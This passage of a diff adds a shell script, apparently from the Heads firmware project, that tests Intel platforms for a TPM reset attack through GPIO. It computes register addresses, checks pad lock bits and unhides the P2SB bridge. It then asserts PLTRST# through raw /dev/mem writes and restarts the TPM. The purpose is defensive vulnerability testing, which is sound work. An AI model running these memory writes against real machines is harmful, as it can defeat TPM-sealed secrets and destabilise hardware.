PLTRST# hardware pin. No GPIO vector exists." ;; + esac + fi + + DEBUG "detect_platform: POST case: MECHANISM=$MECHANISM PLATFORM_UNKNOWN=$PLATFORM_UNKNOWN" + + # Bail early for non-vulnerable platforms + if [ "$NOT_VULNERABLE" = "y" ]; then + DEBUG "NOT_VULNERABLE=y: exiting early with status 0" + STATUS " This platform is NOT vulnerable to the TPM GPIO reset attack." + INFO " Exiting." + exit 0 + fi +} + +# ---- Register address calculation ------------------------------------- + +calculate_registers() { + TRACE_FUNC + section "2. REGISTER ADDRESS CALCULATION" + + if [ "$PLATFORM_UNKNOWN" = "y" ]; then + DEBUG "Platform unknown, skipping register calculation" + INFO "Platform unknown; skipping register calculation." + return + fi + + # Dynamic SBREG_BAR from P2SB (only on SPT/KBP where P2SB is NOT MASKLOCK'd). + # Falls back to hardcoded values if P2SB is hidden or MASKLOCK'd. + DEBUG "GLOBAL_PCH=$GLOBAL_PCH GLOBAL_DEV_ID=$GLOBAL_DEV_ID" + if read_p2sb_sbreg_bar; then + DEBUG " SBREG_BAR from P2SB: PCR_BASE=0x$(printf '%x' $PCR_BASE)" + else + DEBUG " Using hardcoded PCR_BASE" + fi + + # Hardcoded PCR_BASE fallback per platform (verified from Intel GPIO Best + # Practices doc ID 834810 and coreboot Kconfig). Used when dynamic SBREG_BAR + # fails (P2SB hidden/MASKLOCK'd by FSP-S). + case "$GLOBAL_PCH" in + ADL_P|RPL_P) PCR_BASE=$(( 0xFD000000 )) ;; # Mobile: kukrimate pcr.c:164 + ADL_S|RPL_S) PCR_BASE=$(( 0xE0000000 )) ;; # Desktop: kukrimate pcr.c:186 + SPT_KBP|CML_DT) PCR_BASE=$(( 0xFD000000 )) ;; + TGL) PCR_BASE=$(( 0xFD000000 )) ;; + CML_U) PCR_BASE=$(( 0xFD000000 )) ;; + ARL_S) PCR_BASE=$(( 0xE0000000 )) ;; + CFL_S) PCR_BASE=$(( 0xFD000000 )) ;; + CNP_LP) PCR_BASE=$(( 0xFD000000 )) ;; + *) PCR_BASE=$(( 0xFD000000 )) + WARN " Unknown PCH, using default PCR_BASE=0xFD000000" ;; + esac + DEBUG "PCR_BASE=0x$(printf '%x' $PCR_BASE) (hardcoded per platform)" + + # All platforms use GPIO PAD_CFG registers via PCR MMIO. + # Pad number within community + PAD_OFFSET=$(( PLTRST_PAD - FIRST_PAD )) + DEBUG " Pad offset within community: $PLTRST_PAD - $FIRST_PAD = $PAD_OFFSET" + DEBUG "GPIO_PAD_CFG: pad=$PLTRST_PAD first=$FIRST_PAD offset=$PAD_OFFSET" + + # Each pad uses 16 bytes (4 DWORDS) + PAD_REG_SIZE=$(( NUM_PAD_CFG_REGS * 4 )) + DEBUG " Bytes per pad: $NUM_PAD_CFG_REGS DWORDS x 4 = $PAD_REG_SIZE bytes" + + # Register offset for DW0 of this pad within the community + PAD_DW0_OFFSET=$(( PAD_CFG_BASE + (PAD_OFFSET * PAD_REG_SIZE) )) + PAD_DW0_HEX=$(printf "0x%x" "$PAD_DW0_OFFSET") + DEBUG " DW0 register offset in community: $(printf "0x%x" $PAD_CFG_BASE) + ($PAD_OFFSET * $PAD_REG_SIZE) = $PAD_DW0_HEX" + + # Full physical address + COMMUNITY_BASE=$(( PCR_BASE + (COMMUNITY_PORT << 16) )) + COMMUNITY_BASE_HEX=$(printf "0x%x" "$COMMUNITY_BASE") + TARGET_ADDR=$(( COMMUNITY_BASE + PAD_DW0_OFFSET )) + TARGET_ADDR_HEX=$(printf "0x%x" "$TARGET_ADDR") + + DEBUG "GPIO PAD_CFG target: community_base=$COMMUNITY_BASE_HEX target_addr=$TARGET_ADDR_HEX" + + DEBUG " Register layout for pad $PLTRST_PAD:" + DEBUG " Community base (port $COMMUNITY_PORT): $COMMUNITY_BASE_HEX" + DEBUG " PAD_CFG_BASE offset within community: $(printf "0x%x" $PAD_CFG_BASE)" + DEBUG " Pad config DW0: $TARGET_ADDR_HEX" + DEBUG " Pad config DW1: $(printf "0x%x" $((TARGET_ADDR + 4)))" + DEBUG " Pad config DW2: $(printf "0x%x" $((TARGET_ADDR + 8)))" + DEBUG " Pad config DW3: $(printf "0x%x" $((TARGET_ADDR + 12)))" + + # 64-bit PCR_BASE overflow check + # BusyBox ash / dash use 32-bit signed arithmetic. If the dynamic + # SBREG_BAR (from P2SB BAR) is above 4GB (e.g., 0x5F_F000_0000 for + # Arrow Lake per Intel doc), the PCR_BASE calculation will overflow. + # Currently no Heads platform has SBREG_BAR above 4GB, but this is + # a documented limitation for future platforms. + _hi32=$(( (PCR_BASE >> 32) & 0xFFFFFFFF )) + if [ "$_hi32" != "0" ]; then + WARN " PCR_BASE overflows 32-bit arithmetic (hi32=$_hi32)." + WARN " Address calculations below will be WRONG." + WARN " BusyBox sh does not support 64-bit arithmetic." + fi + + DEBUG " DW0 bit fields (PAD_CFG0):" + DEBUG " [0] TX state (1=high, 0=low)" + DEBUG " [1] RX state (read-only)" + DEBUG " [8] TX disable" + DEBUG " [9] RX disable" + DEBUG " [13:10] Mode (0000=GPIO, 0001=NF1, ...)" + DEBUG " [31:30] Reset config (10=PLTRST)" +} + +# ---- Read current register configuration ------------------------------- + +read_pad_config() { + TRACE_FUNC + section "3. CURRENT REGISTER CONFIGURATION" + + if [ "$PLATFORM_UNKNOWN" = "y" ]; then + DEBUG "Platform unknown, skipping configuration read" + INFO "Platform unknown; skipping configuration read." + return + fi + + INFO " Attempting to read registers from physical memory..." + DEBUG "read_pad_config: MECHANISM=$MECHANISM TARGET_ADDR=$TARGET_ADDR_HEX" + DEBUG "" + + # Check that /dev/mem is accessible + if [ ! -r /dev/mem ]; then + DEBUG "/dev/mem not readable (expected on production kernels)" + INFO " /dev/mem is not readable. This is expected on most production" + INFO " kernels without CONFIG_STRICT_DEVMEM disabled." + DEBUG "" + INFO " To test on QEMU or a development kernel, boot with:" + INFO " iomem=relaxed" + INFO " or disable CONFIG_STRICT_DEVMEM." + DEBUG "" + INFO "Cannot read actual config. Showing expected values." + return + fi + + # All platforms use GPIO PAD_CFG registers via PCR MMIO + DEBUG "Reading DW0 at $TARGET_ADDR_HEX" + if ! command -v xxd >/dev/null 2>&1; then + INFO "Missing 'xxd' command. Cannot parse binary data." + return + fi + # Read DW0 + PAD_DW0_VAL=$(dd if=/dev/mem bs=4 count=1 skip="$(( TARGET_ADDR / 4 ))" 2>/dev/null | xxd -p 2>/dev/null || true) + DEBUG "DW0 read returned: $PAD_DW0_VAL" + + if [ -z "$PAD_DW0_VAL" ] || [ "$PAD_DW0_VAL" = "0" ] || [ "$PAD_DW0_VAL" = "00000000" ]; then + DEBUG "DW0 read invalid (blocked or zero), using expected values" + INFO " Read returned: $PAD_DW0_VAL (likely invalid / blocked by kernel)" + INFO "Cannot read actual pad config. Showing expected values." + return + fi + + _orig_dw0=$(( 16#${PAD_DW0_VAL} )) + _orig_mode=$(( (_orig_dw0 >> 10) & 0x7 )) + _orig_txstate=$(( _orig_dw0 & 1 )) + _orig_txdis=$(( (_orig_dw0 >> 8) & 1 )) + _orig_rxdis=$(( (_orig_dw0 >> 9) & 1 )) + _orig_reset=$(( (_orig_dw0 >> 30) & 3 )) + DEBUG "Decoded DW0: mode=$_orig_mode tx=$_orig_txstate txdis=$_orig_txdis rxdis=$_orig_rxdis reset=$_orig_reset" + + _orig_mode_str="" + case $_orig_mode in + 0) _orig_mode_str="GPIO" ;; + 1) _orig_mode_str="NF1 (native function 1)" ;; + 2) _orig_mode_str="NF2" ;; + 3) _orig_mode_str="NF3" ;; + 4) _orig_mode_str="NF4" ;; + 5) _orig_mode_str="NF5" ;; + 6) _orig_mode_str="NF6" ;; + 7) _orig_mode_str="NF7" ;; + esac + + _orig_reset_str="" + case $_orig_reset in + 0) _orig_reset_str="PWROK" ;; + 1) _orig_reset_str="DEEP" ;; + 2) _orig_reset_str="PLTRST" ;; + 3) _orig_reset_str="RSMRST" ;; + esac + + DEBUG "mode_str=$_orig_mode_str reset_str=$_orig_reset_str" + DEBUG " DW0 register: 0x$PAD_DW0_VAL" + DEBUG " Decoded: mode=$_orig_mode ($_orig_mode_str) tx=$_orig_txstate txdis=$_orig_txdis rxdis=$_orig_rxdis reset=$_orig_reset ($_orig_reset_str)" + + if [ "$_orig_mode" = "1" ] && [ $_orig_txdis = 0 ]; then + DEBUG "Pad mode=NF1 txdis=0: correctly configured as native function output" + STATUS_OK "Pad is correctly configured as native function output." + elif [ "$_orig_mode" = "0" ]; then + DEBUG "Pad mode=GPIO: ALREADY in GPIO mode" + DEBUG "Pad is in GPIO mode -- will attempt NF1 force before asserting PLTRST#" + case "$GLOBAL_PCH" in + SPT_KBP) + INFO " Pad is in GPIO mode (not native-function PLTRST#). If the" + INFO " GPIO lock is absent, the pad can be reprogrammed to assert" + INFO " PLTRST# from userspace -- platform is VULNERABLE." ;; + CNP_LP) + INFO " Pad is in GPIO mode (not native-function PLTRST#). Mechanism" + INFO " theoretically possible but no public test data for this PCH." ;; + ADL_P|RPL_P|ADL_S|RPL_S) + INFO " Pad is currently in GPIO mode. GPIO lock is absent" + INFO " (PADCFGLOCK=0), but PLTRST# assertion is NOT confirmed" + INFO " on this PCH die. Hardware test results: mode bits [13:10]" + INFO " and TX[0] are write-ignored at PCH die level despite" + INFO " PADCFGLOCK=0." ;; + *) + INFO " Pad is in GPIO mode (not native-function PLTRST#). If the" + INFO " GPIO lock is absent, the pad can be reprogrammed to assert" + INFO " PLTRST# from userspace -- platform is VULNERABLE." ;; + esac + fi +} + +# ---- Dynamic SBREG_BAR from P2SB ------------------------------------ +# +# Attempts to read SBREG_BAR dynamically from the P2SB (Primary to Sideband) +# bridge at PCI B:D:F 00:1f.1 (device 31, function 1). +# +# The P2SB provides the base address for sideband register access (SBREG_BAR) +# that determines PCR_BASE. On most platforms this is hardcoded, but reading +# it dynamically validates the value and catches future platform changes. +# +# Strategy: +# 1. Unhide P2SB by writing 0 to BCTRL register (offset 0xE0, clear HIDE bit 0) +# 2. Read BAR0 (offset 0x10) and BAR1 (offset 0x14) +# 3. Compute 64-bit base: BAR0 | (BAR1 << 32) +# 4. Re-hide P2SB by restoring BCTRL +# 5. If MASKLOCK'd (bit 8 of BCTRL), write is ignored — fall back to hardcoded +# +# Only attempted on SPT/KBP where P2SB is NOT MASKLOCK'd per kukri. +# Returns: 0 on success with SBREG_BAR_64 set, 1 on failure. +# +# MMCFG base for PCI config space access. Try common bases. +_MMCFG_BASES="0xE0000000 0xF8000000" + +read_p2sb_sbreg_bar() { + TRACE_FUNC + + # Only attempt on platforms where P2SB is known to be unhideable + case "$GLOBAL_PCH" in + SPT_KBP) DEBUG "read_p2sb_sbreg_bar: attempting on $GLOBAL_PCH" ;; + *) DEBUG "read_p2sb_sbreg_bar: skipping (P2SB likely MASKLOCK'd on $GLOBAL_PCH)" + return 1 ;; + esac + + if [ ! -r /dev/mem ] || [ ! -w /dev/mem ]; then + DEBUG "read_p2sb_sbreg_bar: /dev/mem not r/w" + return 1 + fi + if ! command -v xxd >/dev/null 2>&1; then + DEBUG "read_p2sb_sbreg_bar: xxd not available" + return 1 + fi + + # P2SB at PCI B:D:F 00:1f.1 + _p2sb_mmcfg_offset=$(( (31 << 15) | (1 << 12) )) # 0x10800 + + for _mmcfg_base_hex in $_MMCFG_BASES; do + _mmcfg_base=$(( $_mmcfg_base_hex )) + _p2sb_base=$(( _mmcfg_base + _p2sb_mmcfg_offset )) + + # Read vendor/device to confirm P2SB is at this MMCFG address + _vendor=$(mem_read32 "$_p2sb_base" 2>/dev/null || true) + _vendor_dec=$(( 16#${_vendor:-0000} & 0xFFFF )) + if [ "$_vendor_dec" != "0x8086" ] && [ "$_vendor_dec" != "32902" ]; then + # 0x8086 = 32902 decimal; vendor read is 0x8086 + device ID in upper 16 bits + _ven_check=$(( 16#${_vendor:-0000} & 0xFFFF )) + if [ "$_ven_check" != "32902" ]; then + DEBUG " MMCFG 0x$(printf '%x' $_mmcfg_base): vendor=0x$_vendor (not Intel), skipping" + continue + fi + fi + DEBUG " Found P2SB at MMCFG 0x$(printf '%x' $_p2sb_base)" + + # Read BCTRL at offset 0xE0 to check HIDE and MASKLOCK + _bctrl_addr=$(( _p2sb_base + 0xE0 )) + _bctrl=$(mem_read32 "$_bctrl_addr" 2>/dev/null || true) + _bctrl_dec=$(( 16#${_bctrl:-00000000} )) + _hide=$(( _bctrl_dec & 1 )) + _masklock=$(( (_bctrl_dec >> 8) & 1 )) + DEBUG " BCTRL at 0x$(printf '%x' $_bctrl_addr): 0x$_bctrl (HIDE=$_hide MASKLOCK=$_masklock)" + + # Save original BCTRL, clear HIDE bit to unhide P2SB + _orig_bctrl=$_bctrl_dec + _unhide_val=$(( _bctrl_dec & ~1 )) + mem_write32 "$_bctrl_addr" "$_unhide_val" + + # Re-read BCTRL to check if write took effect (not MASKLOCK'd) + _bctrl2=$(mem_read32 "$_bctrl_addr" 2>/dev/null || true) + _bctrl2_dec=$(( 16#${_bctrl2:-00000000} )) + if [ "$_bctrl2_dec" = "$_bctrl_dec" ]; then + DEBUG " P2SB unhide write ignored (MASKLOCK'd or read-only)" + return 1 + fi + DEBUG " P2SB unhidden successfully" + + # Read BAR0 and BAR1 + _bar0_addr=$(( _p2sb_base + 0x10 )) + _bar0=$(mem_read32 "$_bar0_addr" 2>/dev/null || true) + _bar1_addr=$(( _p2sb_base + 0x14 )) + _bar1=$(mem_read32 "$_bar1_addr" 2>/dev/null || true) + _bar0_dec=$(( 16#${_bar0:-00000000} )) + _bar1_dec=$(( 16#${_bar1:-00000000} )) + DEBUG " SBREG_BAR: BAR0=0x$_bar0 BAR1=0x$_bar1" + + # Re-hide P2SB + mem_write32 "$_bctrl_addr" "$_orig_bctrl" + DEBUG " P2SB re-hidden" + + # Compute 64-bit base (strip lower bits as per PCI BAR encoding) + SBREG_BAR_64=$(( (_bar1_dec << 32) | (_bar0_dec & 0xFFFFFFF0) )) + DEBUG " SBREG_BAR_64=0x$(printf '%llx' $SBREG_BAR_64 2>/dev/null || printf '0x%x%08x' $((SBREG_BAR_64 >> 32)) $((SBREG_BAR_64 & 0xFFFFFFFF)))" + + # Verify it's a reasonable PCR_BASE (must be >= 0xE0000000 and page-aligned) + _hi32=$(( SBREG_BAR_64 >> 32 )) + if [ "$_hi32" != "0" ]; then + DEBUG " SBREG_BAR above 4GB: hi32=$_hi32" + fi + _lo32=$(( SBREG_BAR_64 & 0xFFFFFFFF )) + if [ $(( _lo32 & 0xFFFFF )) -eq 0 ] && [ $(( _lo32 >> 28 )) -ge 14 ]; then + DEBUG " SBREG_BAR verified as valid sideband register base" + # Use 32-bit portion for PCR_BASE + PCR_BASE=$_lo32 + DEBUG " PCR_BASE set from SBREG_BAR: 0x$(printf '%x' $PCR_BASE)" + return 0 + fi + DEBUG " SBREG_BAR hi32=$_hi32 lo32=0x$(printf '%x' $_lo32) looks invalid, using hardcoded" + done + + return 1 +} + +# ---- Platform parameter helpers -------------------------------------- +# +# Returns the PADCFGLOCK base offset for the current platform. +# This mapping is the single source of truth -- all callers use this +# instead of duplicating the case statement. +_get_lock_base() { + case "$GLOBAL_PCH" in + ADL_P) echo 0x80 ;; + RPL_P) echo 0x110 ;; + ADL_S|RPL_S) echo 0x110 ;; + SPT_KBP|CML_DT) echo 0xA8 ;; + TGL) echo 0x80 ;; + CML_U) echo 0x88 ;; + CFL_S) echo 0x88 ;; + ARL_S) echo 0x120 ;; + CNP_LP) echo 0x80 ;; + *) echo 0x80 ;; + esac +} + +# Returns the bus pin community port for the current platform. +_get_bus_community_port() { + case "$GLOBAL_PCH" in + SPT_KBP|CML_DT) echo 0xaf ;; + ADL_P|RPL_P|TGL|CML_U|CFL_S|CNP_LP) echo 0x6e ;; + ADL_S|RPL_S|ARL_S) echo 0x6d ;; + *) echo "" ;; + esac +} + +# Returns the bus pin lock base offset for the current platform. +_get_bus_lock_base() { + case "$GLOBAL_PCH" in + SPT_KBP|CML_DT) echo 0xa0 ;; + TGL|ADL_P|RPL_P) echo 0x80 ;; + CML_U|CFL_S) echo 0x88 ;; + ADL_S|RPL_S) echo 0x110 ;; + ARL_S) echo 0x120 ;; + CNP_LP) echo 0x80 ;; + *) echo 0x80 ;; + esac +} + +# ---- eSPI vs LPC auto-detection -------------------------------------- +# +# Reads the eSPI configuration register via PCR to determine whether the +# PCH is running in eSPI mode (GPP_A1-A4 = IO0-3) or LPC mode +# (GPP_A1-A6 = LAD0-3, LFRAME#, SERIRQ). +# +# Reference: kukri detect/detect.c and Intel doc 834810. +# PCR port 0xC7, offset 0x3418, bit 1 (eSPI_En) when set → eSPI mode. +# +# Returns: 0 if eSPI, 1 if LPC, 127 if detection unavailable + +auto_detect_espi_mode() { + TRACE_FUNC + _espi_port=0xC7 + _espi_offset=0x3418 + _espi_comm_base=$(( PCR_BASE + (_espi_port << 16) )) + _espi_addr=$(( _espi_comm_base + _espi_offset )) + + if [ ! -r /dev/mem ]; then + DEBUG "auto_detect_espi_mode: /dev/mem not readable" + return 127 + fi + if ! command -v xxd >/dev/null 2>&1; then + DEBUG "auto_detect_espi_mode: xxd not available" + return 127 + fi + + _espi_val=$(mem_read32 "$_espi_addr" 2>/dev/null || true) + if [ -z "$_espi_val" ] || [ "$_espi_val" = "00000000" ]; then + DEBUG "auto_detect_espi_mode: read failed or zero at 0x$(printf '%x' $_espi_addr)" + return 127 + fi + _espi_dec=$(( 16#$_espi_val )) + _espi_en=$(( (_espi_dec >> 1) & 1 )) + DEBUG "auto_detect_espi_mode: PCR 0xC7:0x3418 = 0x$_espi_val, eSPI_En bit = $_espi_en" + if [ "$_espi_en" = "1" ]; then + return 0 + else + return 1 + fi +} + +# ---- Bus pin lock checking (kukri detect utility) -------------------- +# +# Checks PADCFGLOCK for LPC/eSPI bus pins (GPP_A group) that should be +# locked by firmware to prevent bus-level manipulation. +# +# Architecture-dependent set of pins checked: +# LPC platforms (SPT/KBP, CNP-LP): GPP_A1-A6 (LAD0-3, LFRAME#, SERIRQ, +# CLKRUN#), GPP_A8, GPP_A9 +# eSPI platforms (ADL-P, ADL-S, RPL-P, RPL-S): GPP_A1-A4 (IO0-3), +# GPP_A14 (ESPI_RESET#) +# +# Reference: kukri detect/detect.c + +check_bus_pin_locks() { + TRACE_FUNC + + if [ "$PLATFORM_UNKNOWN" = "y" ]; then + return + fi + + if [ ! -r /dev/mem ]; then + DEBUG "check_bus_pin_locks: /dev/mem not readable, skipping" + return + fi + + if ! command -v xxd >/dev/null 2>&1; then + DEBUG "check_bus_pin_locks: xxd not available, skipping" + return + fi + + # Platform-specific bus pin community port and PADCFGLOCK offset + # from consolidated helpers: + _bus_community_port=$(_get_bus_community_port 2>/dev/null || echo "") + if [ -z "$_bus_community_port" ]; then + DEBUG "check_bus_pin_locks: no bus pin config for $GLOBAL_PCH" + return + fi + _bus_lock_base=$(_get_bus_lock_base 2>/dev/null || echo 0x80) + _is_espi="n" # default fallback, overridden by auto-detection below + + # Attempt auto-detection of eSPI vs LPC mode. Overrides hardcoded + # _is_espi if the PCR register is readable. + if auto_detect_espi_mode; then + _is_espi="y" + DEBUG "check_bus_pin_locks: auto-detected eSPI mode" + elif [ $? -eq 1 ]; then + _is_espi="n" + DEBUG "check_bus_pin_locks: auto-detected LPC mode" + fi + + _bus_community_base=$(( PCR_BASE + (_bus_community_port << 16) )) + + # LPC bus: GPP_A1-A6 (LAD0-3,LFRAME#,SERIRQ,CLKRUN#), GPP_A8 (CLKRUN#), GPP_A9 (CLKOUT_LPC0) + # eSPI bus: GPP_A1-A4 (IO0-3), GPP_A5 (ESPI_CS#), GPP_A9 (ESPI_CLK), GPP_A14 (ESPI_RESET#) + # Local pads are relative to GROUP_A0 which is pad 0 within the community + # (FIRST_PAD=0 on all supported platforms). + # PADCFGLOCK dword covers 32 pads. All bus pins are in dword 0 (pads 0-31). + if [ "$_is_espi" = "y" ]; then + _bus_pads="1 2 3 4 5 9 14" + _bus_signals="IO0 IO1 IO2 IO3 ESPI_CS# ESPI_CLK ESPI_RESET#" + else + _bus_pads="1 2 3 4 5 6 8 9" + _bus_signals="LAD0 LAD1 LAD2 LAD3 LFRAME# SERIRQ CLKRUN# CLKOUT_LPC0" + fi + + # Convert space-separated strings to arrays for parallel iteration + _bus_pad_list=($_bus_pads) + _bus_sig_list=($_bus_signals) + + # Read the PADCFGLOCK dword (all bus pins are in dword 0) + _lock_addr=$(( _bus_community_base + _bus_lock_base )) + _lock_val=$(mem_read32 "$_lock_addr" 2>/dev/null || true) + + # Read PADCFGLOCKTX (TX state lock at +4) + _locktx_addr=$(( _lock_addr + 4 )) + _locktx_val=$(mem_read32 "$_locktx_addr" 2>/dev/null || true) + + if [ -z "$_lock_val" ] || [ "$_lock_val" = "00000000" ]; then + DEBUG " PADCFGLOCK at 0x$(printf '%x' $_lock_addr): 0x$_lock_val" + # Zero is valid: could mean all pins unlocked, or read failed. + # Check if /dev/mem read actually succeeded by testing a known + # readable register (PCR_BASE). + _test_read=$(dd if=/dev/mem bs=4 count=1 skip=$(( PCR_BASE / 4 )) 2>/dev/null | xxd -p | tr -d '\n ') + if [ -z "$_test_read" ] || [ "$_test_read" = "00000000" ]; then + DEBUG " bus pin lock read invalid (PCR_BASE read also zero); skipping" + return + fi + fi + _lock_dec=$(( 16#$_lock_val )) + _locktx_dec=$(( 16#${_locktx_val:-00000000} )) + + BUS_LOCKED_COUNT=0 + BUS_TOTAL_COUNT=${#_bus_pad_list[@]} + + STATUS " Bus pin lock status (LPC/eSPI) -- CFG/TX:" + + _idx=0 + while [ $_idx -lt ${#_bus_pad_list[@]} ]; do + _pad=${_bus_pad_list[$_idx]} + _sig=${_bus_sig_list[$_idx]} + _bit=$(( _pad % 32 )) + + _cfg_locked="UNLOCKED" + _tx_locked="UNLOCKED" + if [ $(( _lock_dec & (1 << _bit) )) -ne 0 ]; then + _cfg_locked="LOCKED" + BUS_LOCKED_COUNT=$(( BUS_LOCKED_COUNT + 1 )) + fi + if [ $(( _locktx_dec & (1 << _bit) )) -ne 0 ]; then + _tx_locked="LOCKED" + fi + _lock_status="UNLOCKED" + _status_level="INFO" + if [ "$_cfg_locked" = "LOCKED" ] || [ "$_tx_locked" = "LOCKED" ]; then + _lock_status="LOCKED" + _status_level="WARN" + fi + # Report combined status + "$_status_level" " GPP_A$_pad ($_sig): $_lock_status (CFG=$_cfg_locked / TX=$_tx_locked)" + _idx=$(( _idx + 1 )) + done + + INFO " Bus pin lock status: $BUS_LOCKED_COUNT/$BUS_TOTAL_COUNT pins locked (CFG), TX state lock status shown per-pin" +} + +# ---- Assert PLTRST# via GPIO pad manipulation ------------------------ +# +# Sub-functions split from perform_tpm_gpio_reset() for readability. + +# Check PADCFGLOCK and PADCFGLOCKTX registers before asserting PLTRST# +check_lock_registers() { + TRACE_FUNC + DEBUG "check_lock_registers: PAD_OFFSET=$PAD_OFFSET" + _lock_base=$(_get_lock_base 2>/dev/null || echo 0x80) + DEBUG " _lock_base from helper: 0x$(printf '%x' $_lock_base)" + _lock_reg_idx=$(( PAD_OFFSET / 32 )) + _lock_offset=$(( _lock_base + (_lock_reg_idx * PADCFGLOCK_STRIDE) )) + _lock_addr=$(( COMMUNITY_BASE + _lock_offset )) + _lock_val=$(mem_read32 "$_lock_addr" 2>/dev/null || true) + if [ -n "$_lock_val" ]; then + _lock_dec=$(( 16#$_lock_val )) + _lock_bit=$(( 1 << (PAD_OFFSET % 32) )) + DEBUG "PADCFGLOCK at 0x$(printf '%x' $_lock_addr): 0x$_lock_val (local pad=$PAD_OFFSET, reg=$_lock_reg_idx, bit=$(( PAD_OFFSET % 32 )))" + if [ $(( _lock_dec & _lock_bit )) -ne 0 ]; then + WARN " PLTRST pad is LOCKED (PADCFGLOCK dword $_lock_reg_idx bit $(( PAD_OFFSET % 32 )) set)" + WARN " Writes to PAD_CFG registers will be silently ignored." + else + DEBUG " PLTRST pad NOT locked -- writes should work" + fi + else + DEBUG " Could not read PADCFGLOCK register" + fi + + # Check PADCFGLOCKTX (TX state lock at the same dword offset + 4) + _locktx_offset=$(( _lock_offset + 4 )) + _locktx_addr=$(( COMMUNITY_BASE + _locktx_offset )) + _locktx_val=$(mem_read32 "$_locktx_addr" 2>/dev/null || true) + if [ -n "$_locktx_val" ]; then + _locktx_dec=$(( 16#$_locktx_val )) + DEBUG "PADCFGLOCKTX at 0x$(printf '%x' $_locktx_addr): 0x$_locktx_val (bit $(( PAD_OFFSET % 32 )))" + if [ $(( _locktx_dec & _lock_bit )) -ne 0 ]; then + DEBUG " TX state is LOCKED (PADCFGLOCKTX bit $(( PAD_OFFSET % 32 )) set)" + fi + else + DEBUG " Could not read PADCFGLOCKTX register" + fi +} + +# Shutdown TPM and save pad configuration before assert +pre_assertion_setup() { + TRACE_FUNC + if command -v tpmr.sh >/dev/null 2>&1; then + INFO " Shutting down TPM before PLTRST# assertion (tpmr.sh shutdown)..." + tpmr.sh shutdown || WARN "tpmr.sh shutdown failed; continuing" + else + DEBUG " tpmr.sh not available; skipping TPM shutdown" + fi + INFO " Saving current PLTRST# pad configuration..." + _dw0=$(mem_read32 "$TARGET_ADDR" 2>/dev/null) + _dw1=$(mem_read32 "$((TARGET_ADDR + 4))" 2>/dev/null) + if [ -z "$_dw0" ]; then + DIE "Failed to read pad configuration at $TARGET_ADDR_HEX" + fi + _dw0_val=$(( 16#$_dw0 )) + _dw1_val=$(( 16#$_dw1 )) + _cur_mode=$(( (_dw0_val >> 10) & 0x7 )) + _cur_tx=$(( _dw0_val & 1 )) + _cur_hostsw=$(( (_dw0_val >> 14) & 1 )) + _cur_rstcfg=$(( (_dw0_val >> 30) & 3 )) + _cur_txdis=$(( (_dw0_val >> 8) & 1 )) + DEBUG " Saved DW0=0x$_dw0 DW1=0x$_dw1" + DEBUG " DW0 decode: raw=0x$(printf '%08x' $_dw0_val) mode=$_cur_mode TX=$_cur_tx TX_DIS=$_cur_txdis HOSTSW=$_cur_hostsw RSTCFG=$_cur_rstcfg" + STATUS_OK "Saved PLTRST# pad config: DW0=0x$_dw0, DW1=0x$_dw1" +} + +# Assert PLTRST# via GPIO pad toggle +assert_pltrst() { + TRACE_FUNC + # If pad is in GPIO mode and NF1 switch failed, try TX toggle + if [ "$_cur_mode" = "0" ]; then + DEBUG " pad in GPIO mode (HOSTSW_OWN=$_cur_hostsw); forcing NF1 first" + _nf1_val=$(( 0x40000000 | (1 << 10) | 1 )) + DEBUG " writing NF1: 0x$(printf '%08x' $_nf1_val)" + mem_write32 "$TARGET_ADDR" "$_nf1_val" + _nf1_rb=$(mem_read32 "$TARGET_ADDR" 2>/dev/null) + _nf1_rb_mode=$(( ((16#$_nf1_rb) >> 10) & 0x7 )) + DEBUG " NF1 readback: 0x$_nf1_rb mode=$_nf1_rb_mode" + if [ "$_nf1_rb_mode" != "1" ]; then + DEBUG " NF1 mode switch FAILED (mode=$_nf1_rb_mode); mode bits hardware-locked" + INFO " NF1 mode locked -- trying TX toggle instead" + fi + fi + + if [ "$_cur_mode" = "0" ] && [ "$_nf1_rb_mode" != "1" ]; then + DEBUG " TX toggle: writing 0x80000001 (TX=high)..." + mem_write32 "$TARGET_ADDR" "0x80000001" + _tx1_rb=$(mem_read32 "$TARGET_ADDR") + _tx1_tx=$(( 16#$_tx1_rb & 1 )) + DEBUG " TX=1 readback: 0x$_tx1_rb TX=$_tx1_tx" + sleep 0.1 + DEBUG " TX toggle: writing $GPIO_ASSERT_VALUE (TX=low)..." + mem_write32 "$TARGET_ADDR" "$GPIO_ASSERT_VALUE" + else + DEBUG " kukrimate: writing $GPIO_ASSERT_VALUE (GPIO+TX=0)..." + mem_write32 "$TARGET_ADDR" "$GPIO_ASSERT_VALUE" + fi + _readback=$(mem_read32 "$TARGET_ADDR") + _rb_mode=$(( ((16#$_readback) >> 10) & 0x7 )) + _rb_tx=$(( 16#$_readback & 1 )) + DEBUG " assert write readback: 0x$_readback mode=$_rb_mode TX=$_rb_tx" + INFO " PLTRST# asserted ($([ "$_cur_mode" = "0" ] && [ "$_nf1_rb_mode" != "1" ] && echo 'TX toggle' || echo 'kukrimate'))" + + INFO " Writing 0x00000000 to DW1..." + mem_write32 "$((TARGET_ADDR + 4))" "0x00000000" + _readback2=$(mem_read32 "$((TARGET_ADDR + 4))") + DEBUG " DW1 readback: 0x$_readback2" + + # Wait with PLTRST# asserted + INFO " Waiting 1 second with PLTRST# asserted..." + sleep 1 + + # Deassert PLTRST# + if [ "$_cur_mode" = "0" ]; then + DEBUG " deasserting PLTRST# via NF1 (original mode was GPIO+TX=0)" + mem_write32 "$TARGET_ADDR" "$_nf1_val" + else + INFO " Restoring original pad config (deasserts PLTRST#)..." + mem_write32 "$TARGET_ADDR" "$_dw0_val" + mem_write32 "$((TARGET_ADDR + 4))" "$_dw1_val" + fi + + # Wait for TPM to reinitialize + INFO " Waiting 1s for TPM to reinitialize after PLTRST# deassert..." + sleep 1 +} + +# Recreate TPM sessions and verify bus reset +post_assertion_cleanup() { + TRACE_FUNC + INFO " Starting TPM after PLTRST# assertion (tpm2 startup -c)..." + if command -v tpm2 >/dev/null 2>&1; then + _startup_out=$(tpm2 startup -c 2>&1) + if [ $? -eq 0 ]; then + STATUS_OK "TPM startup complete (NVRAM preserved)" + else + DEBUG "tpm2 startup -c failed: $_startup_out" + fi + else + DEBUG "tpm2 not available; TPM may need startup via kernel" + fi + + INFO " Recreating TPM encrypted sessions (tpmr.sh startsession)..." + if command -v tpmr.sh >/dev/null 2>&1; then + if tpmr.sh startsession 2>/dev/null; then + STATUS_OK "TPM sessions recreated (NVRAM preserved)" + else + WARN " Could not recreate TPM sessions. Unseal will fail." + fi + else + DEBUG "tpmr.sh not available; cannot recreate sessions" + fi + + # Verify PLTRST# bus reset vs software-only 